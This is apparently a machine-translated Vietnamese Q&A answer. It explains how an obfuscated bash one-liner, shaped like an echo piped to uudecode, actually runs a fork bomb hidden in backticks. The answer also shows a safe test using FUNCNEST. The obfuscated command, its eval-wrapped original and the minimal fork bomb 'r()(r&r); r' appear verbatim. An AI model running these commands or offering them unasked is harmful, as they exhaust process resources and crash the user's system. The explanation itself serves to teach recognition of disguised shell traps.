Đầu tiên, chúng ta hãy xem toàn bộ lệnh:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Nó chứa một chuỗi trích dẫn kép được lặp lại uudecode
. Nhưng, lưu ý rằng, trong chuỗi trích dẫn kép là một chuỗi trích dẫn ngược . Chuỗi này được thực thi . Chuỗi là:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Nếu chúng ta nhìn vào những gì trong đó, chúng ta sẽ thấy ba lệnh:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Thực hiện mở rộng cú đúp trên lệnh giữa, chúng ta có:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Dòng đầu tiên cố gắng chạy một lệnh vô nghĩa trong nền. Điều này là không quan trọng.
Dòng thứ hai rất quan trọng: nó xác định một chức năng r
, khi chạy, sẽ khởi chạy hai bản sao của chính nó. Tất nhiên, mỗi bản sao đó sẽ ra mắt thêm hai bản nữa. Và như vậy.
Dòng thứ ba chạy r
, bắt đầu bom ngã ba.
Phần còn lại của mã, bên ngoài chuỗi trích dẫn ngược, chỉ là vô nghĩa đối với obfuscation.
Cách chạy lệnh an toàn
Mã này có thể được chạy một cách an toàn nếu chúng ta đặt giới hạn ở mức lồng nhau của hàm. Điều này có thể được thực hiện với FUNCNEST
biến bash . Ở đây, chúng tôi đặt nó 2
và điều này dừng đệ quy:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Các thông báo lỗi ở trên cho thấy (a) các lệnh vô nghĩa rYWdl
và Y29j
không được tìm thấy, (b) quả bom ngã ba liên tục bị dừng bởi FUNCNEST và (c) đầu ra echo
không bắt đầu begin
và do đó, không phải là đầu vào hợp lệ uudecode
.
Bom ngã ba ở dạng đơn giản nhất
Bom ngã ba sẽ trông như thế nào nếu chúng ta loại bỏ sự che khuất? Như njzk2 và gerrit đề xuất, nó sẽ giống như:
echo "`r()(r&r);r`"
Chúng ta có thể đơn giản hóa hơn nữa:
r()(r&r); r
Điều đó bao gồm hai câu lệnh: một định nghĩa hàm ngã ba r
và lần thứ hai chạy r
.
Tất cả các mã khác, bao gồm cả đường ống đến uudecode
, chỉ ở đó để che khuất và định hướng sai.
Các hình thức ban đầu đã có một lớp sai lầm khác
OP đã cung cấp một liên kết đến cuộc thảo luận về bảng mạch mà mã này xuất hiện. Như được trình bày ở đó, mã trông giống như:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Lưu ý một trong những ý kiến đầu tiên về mã này:
Tôi đã yêu nó. Chỉ sao chép phần có tiếng vang và giải mã, nhưng vẫn có phần hai
Trong biểu mẫu trên bảng Gord, người ta sẽ ngây thơ nghĩ rằng vấn đề sẽ là eval
tuyên bố hoạt động trên đầu ra của uudecode
. Điều này sẽ khiến người ta nghĩ rằng loại bỏ eval
sẽ giải quyết vấn đề. Như chúng ta đã thấy ở trên, điều này là sai và nguy hiểm như vậy.